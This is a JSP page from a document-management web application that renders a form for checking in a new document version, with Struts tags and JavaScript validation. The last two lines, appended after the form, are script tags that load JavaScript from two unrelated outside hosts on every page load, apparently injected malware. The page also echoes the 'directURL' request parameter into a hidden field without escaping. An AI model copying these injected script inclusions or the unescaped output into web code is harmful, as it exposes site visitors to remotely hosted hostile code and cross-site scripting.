<%
/*
 * @(#)EditDmsCheckout.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditDmsClipBoardCheckout.jsp

  This class is used to control the version of document

    @author           Weison Liang
    @company          DCIVision Limited
    @creation date    11/01/2005
    @version          $Revision: 1.6.2.9 $
*/
%>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.dms.*"%>
<%@ page import="com.dcivision.dms.bean.*"%>
<%@ page import="com.dcivision.dms.core.*" %>
<%@ page import="com.dcivision.dms.dao.*"%>

<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintDmsCheckoutForm" scope="request" class="com.dcivision.dms.web.MaintDmsVersionForm"/>

<script language="Javascript">
<!--
PreloadImages('<html:img src='Uploading.gif' pathOnly='true'/>');
var flowWindow = null;
var clickedFlag = false;
var targetAction = '';

function closeFlowWindow() {
  if (popupWin) {
    popupWin.close();
  }
}
function hideBlock(b) {
  //Disable the workflow section
  HideDiv(b);
  //Disable the fields for NoUpdate Checkin
  var radioList = document.maintDmsCheckoutForm.checkinType;
  var checkType = null;
  for (var i = 0; i < radioList.length; i++) {
      if (radioList[i].checked == true) {
          checkType = radioList[i].value;
          //alert (checkType);
      }
  }
  if ( checkType == '<%=DmsOperationConstant.NO_UPDATE_CHECKIN %>'){
    document.maintDmsCheckoutForm.uploadFile.disabled = true;
    //document.maintDmsCheckoutForm.versionLabel.disabled = true;
    document.maintDmsCheckoutForm.description.disabled = true;
    document.maintDmsCheckoutForm.referenceNo.disabled = true;
  }else{
    document.maintDmsCheckoutForm.uploadFile.disabled = false;
    //document.maintDmsCheckoutForm.versionLabel.disabled = false;
    document.maintDmsCheckoutForm.description.disabled = false;
    document.maintDmsCheckoutForm.referenceNo.disabled = false;
  }
}
function showBlock(b){
  ShowDiv(b);
  document.maintDmsCheckoutForm.uploadFile.disabled = false;
  //document.maintDmsCheckoutForm.versionLabel.disabled = false;
  document.maintDmsCheckoutForm.description.disabled = false;
  document.maintDmsCheckoutForm.referenceNo.disabled = false;
}

function getFileName(fullFileName){
  var filename;
  if (fullFilename.indexOf("\\")) {
    filename = filename.substring( filename.lastIndexOf("\\")+1,
      filename.length);
  }
  return filename;
}

-->
</script>
<html:form enctype="multipart/form-data" action="dms/MaintDmsCheckout" onsubmit="return(false)">
<html:javascript formName="maintDmsCheckoutForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>
<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/
   String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);
  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/

    final Integer rootID = TextUtility.parseIntegerObj(maintDmsCheckoutForm.getRootID());
    final Integer parentID = TextUtility.parseIntegerObj(maintDmsCheckoutForm.getParentID());
    final Integer documentID = TextUtility.parseIntegerObj(maintDmsCheckoutForm.getDocumentID());

    boolean isLightVersion = sessionContainer.getAppContainer().isLightVersion();
    Connection conn =  (Connection)request.getAttribute(GlobalConstant.DB_KEY);
    DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer,conn);
    DmsDocument dmsDocument = (DmsDocument) docRetrievalManager.getDocument(documentID);
    MtmDocumentVersionDAObject mtmDocumentVersionDAOject = new MtmDocumentVersionDAObject(sessionContainer,conn);
    DmsVersionDAObject dmsVersionDAOject = new DmsVersionDAObject(sessionContainer,conn);
    List list = dmsVersionDAOject.getVersionsListByDocumentID(documentID,"desc");

		
  String sCurFunctionCode = maintDmsCheckoutForm.getCurFunctionCode();
  String directURL = request.getParameter("directURL") != null ? request.getParameter("directURL") : maintDmsCheckoutForm.getDirectURL();
  
  DmsDocument documentRoot = new DmsDocument();
  String homePageFunctionCode="";
  if (Utility.isEmpty(sCurFunctionCode) || "null".equals(sCurFunctionCode) || DmsOperationConstant.LIST_PERSONAL_HOME.equals(sCurFunctionCode)){
    homePageFunctionCode=DmsOperationConstant.LIST_PERSONAL_HOME;
    documentRoot = docRetrievalManager.getRootFolderByRootID(dmsDocument.getRootID());
    if (DmsOperationConstant.DMS_PERSONAL_ROOT.equals(documentRoot.getDocumentName())) {
      sCurFunctionCode = SystemFunctionConstant.DMS_PERSONAL_FOLDER;
    } else {
      sCurFunctionCode = SystemFunctionConstant.DMS_PUBLIC_FOLDER;
    }
    request.setAttribute(GlobalConstant.FUNCTION_CODE_KEY, sCurFunctionCode);
  }
   
	documentRoot = docRetrievalManager.getRootFolderByRootID(dmsDocument.getRootID());
	String locationCode = "";

	if (DmsOperationConstant.DMS_PERSONAL_ROOT.equals(documentRoot.getDocumentName())) {
      locationCode = SystemFunctionConstant.DMS_PERSONAL_FOLDER;
    } else {
      locationCode = SystemFunctionConstant.DMS_PUBLIC_FOLDER;
    }

%>

<script language ='Javascript'>
<!--
function OpCheckin() {
if(<%=isLightVersion%>==true && <%=list.size()%>>1 ){
  if(!confirm("<bean:message key='dms.message.version_limit'/>")){
      return true;
  }
}
 //get the checkin file name without the drive info, only the file name and ext
 var checkinFileName = document.maintDmsCheckoutForm.uploadFile.value;
 if (checkinFileName.indexOf("\\")) {
    checkinFileName = checkinFileName.substring( checkinFileName.lastIndexOf("\\")+1,
      checkinFileName.length);
  }



  //validate file name and ext.

  if (clickedFlag) {
    if (popupWin) {
      popupWin.focus();
    }
  } else {

    var radioList = document.maintDmsCheckoutForm.checkinType;
    var checkType = null;
    for (var i = 0; i < radioList.length; i++) {
        if (radioList[i].checked == true) {
            checkType = radioList[i].value;
            //alert (checkType);
        }
    }
    if ( checkType != '<%=DmsOperationConstant.NO_UPDATE_CHECKIN %>'){
      if(document.maintDmsCheckoutForm.uploadFile.value == null || document.maintDmsCheckoutForm.uploadFile.value == '')
      {
         alert("<bean:message key='dms.message.choose_file'/>");
         return (false);
      }
      if ('<%=TextUtility.escapeJSString(dmsDocument.getDocumentName().toLowerCase())%>'!=checkinFileName.toLowerCase()){//Update By Jim Zhou				2007/01/17			EIP-1497
         if (!confirm("<bean:message key='dms.message.confirm.checkin_fileName'/>")){
           return (false);
         }
      }
    }
    if ( checkType == '<%=DmsOperationConstant.CREATE_NEW_CHECKIN %>'){
      document.maintDmsCheckoutForm.opMode.value="<%=DmsOperationConstant.CHECKIN_OPERATION %>";
    }else if ( checkType == '<%=DmsOperationConstant.CREATE_MINOR_CHECKIN %>'){
      document.maintDmsCheckoutForm.opMode.value="<%=DmsOperationConstant.CHECKIN_MINOR %>";
    }else if ( checkType == '<%=DmsOperationConstant.NO_UPDATE_CHECKIN %>'){
      document.maintDmsCheckoutForm.opMode.value="<%=DmsOperationConstant.NO_UPDATE_CHECKIN %>";
    }
    document.maintDmsCheckoutForm.closeFlag.value="2";
    OpenCenteredPopup('<%=request.getContextPath()%>/jsp/dms/FlowWindow.jsp', 'DCIVisionFlowWindow', 200, 100, 'toolbar=no,menubar=no,status=no,resizable=no,alwaysRaised=yes,dependent=yes,scrollbars=yes');
    document.maintDmsCheckoutForm.action="MaintDmsCheckout.do";
    document.maintDmsCheckoutForm.submit();
    clickedFlag = true;
  }
  return false;
}
-->
</script>

<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property="curFunctionCode"/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>

<html:hidden property="closeFlag" value="0"/>
<!--Update by beyond for EIP-389, property not need set value-->
<html:hidden property="documentID" />
<html:hidden property="parentID" />
<html:hidden property="rootID" />
<!--End -->
<html:hidden property='directPage'/>
<html:hidden property="directURL" value='<%=directURL%>'/>
<html:hidden property="returnTo"/>

<!-- Page Title Section -->
<layout:titleFormat><font class="pageTitle"><layout:pageTitle functionCode="dms.label.clipboard" displayActionStr="false" functionType="dms.common.doc_check_in"/></font>
</layout:titleFormat>
<table cellpadding="20" cellspacing="0" border="0" width="100%"><tr><td>
<!-- System And Error Messages -->
<table cellpadding="0" cellspacing="0" border="0" width="100%"><tr><td>
<html:errors/>
<html:messages/>
</td></tr></table>
<table width="780" cellpadding="0" cellspacing="2" border="0" align="left">
  <!-- Section Header -->
  <layout:sectionHeader name="dms.label.dms_checkin_info" mandatory="true"/>
  <tr>
    <td class="formLabelSmall" width='25%' valign='top'><bean:message key='dms.label.document_name'/>:&nbsp;</td>
    <td class="formFieldSmall"><%=dmsDocument.getDocumentName()%></td>
  </tr>
  <tr>
    <td class="formLabelSmallMan" width='25%' valign='top'><bean:message key='dms.label.check_in_type'/>:&nbsp;</td>
    <td class="formFieldSmall" width='75%'>
	<%if(!isLightVersion){%>
	  <html:radio property="checkinType" onclick="hideBlock('workflow'); return true" value="<%=DmsOperationConstant.CREATE_MINOR_CHECKIN%>"/><bean:message key="dms.label.ver_minor_update"/>
      <html:radio property="checkinType" onclick="showBlock('workflow'); return true" value="<%=DmsOperationConstant.CREATE_NEW_CHECKIN%>" /><bean:message key="dms.label.ver_major_update"/>
      <%if (SystemFunctionConstant.DMS_PUBLIC_FOLDER.equals(locationCode)){%>
      <html:radio property="checkinType" onclick="hideBlock('workflow'); return true" value="<%=DmsOperationConstant.NO_UPDATE_CHECKIN%>"/><bean:message key="dms.label.ver_no_update"/>
      <%}%>
	 <%}else{%>
      <html:radio property="checkinType" onclick="showBlock('workflow'); return true" value="<%=DmsOperationConstant.CREATE_NEW_CHECKIN%>" /><bean:message key="dms.label.ver_major_update"/>
      <%if (SystemFunctionConstant.DMS_PUBLIC_FOLDER.equals(locationCode)){%>
      <html:radio property="checkinType" onclick="hideBlock('workflow'); return true" value="<%=DmsOperationConstant.NO_UPDATE_CHECKIN%>"/><bean:message key="dms.label.ver_no_update"/>
      <%}%>
	 <%}%>
    </td>
  </tr>
  <tr>
    <td class="formLabelSmall" width='25%' valign='top'><bean:message key="dms.label.ver_file"/>:&nbsp;</td>
    <td class="formFieldSmall" width='75%'><html:file property="uploadFile" size="25"/></td>
  </tr>
  <!--
  <tr>
    <td class="formLabelSmall" width='25%' valign='top'><bean:message key="dms.label.ver_label"/>:&nbsp;</td>
    <td class="formFieldSmall" width='75%'><html:text property="versionLabel" size="20" maxlength="30"/></td>
  </tr>
  -->
  <tr>
    <td class="formLabelSmall" width='25%' valign='top'><bean:message key="dms.label.reference_no"/>:&nbsp;</td>
    <td class="formFieldSmall" width='75%'><html:text property="referenceNo" size="20" maxlength="30"/></td>
  </tr>
  <tr>
    <td class="formLabelSmall" width='25%' valign='top'><bean:message key="dms.label.description"/>:&nbsp;</td>
    <td class="formFieldSmall" width='75%'>
      <html:textarea property='description' cols='40' rows='5' textlimit='255'/>
    </td>
  </tr>
  <!--TODO: Workflow implementation-->
  <tr>
    <td colspan="2"><div id='workflow' style='visibility=hidden'></div></td>
  </tr>
  <!--TODO: END-->
  <tr>
    <td colspan="2"><layout:auditTrail/></td>
  </tr>
  <tr>
    <td colspan="2" align="center"><html:img src="LayoutSpacer.gif"  width="1" height="10"/></td>
  </tr>
  <tr>
    <td colspan="2" align="center">
    <!-- The Buttons for Actions Handling -->
    <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
      <html:standardButton label="audit.label.access_type_CI" onClick="return OpCheckin()"/>
    <%} %>
    </td>
  </tr>
</table>

</td></tr></table>
</html:form>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>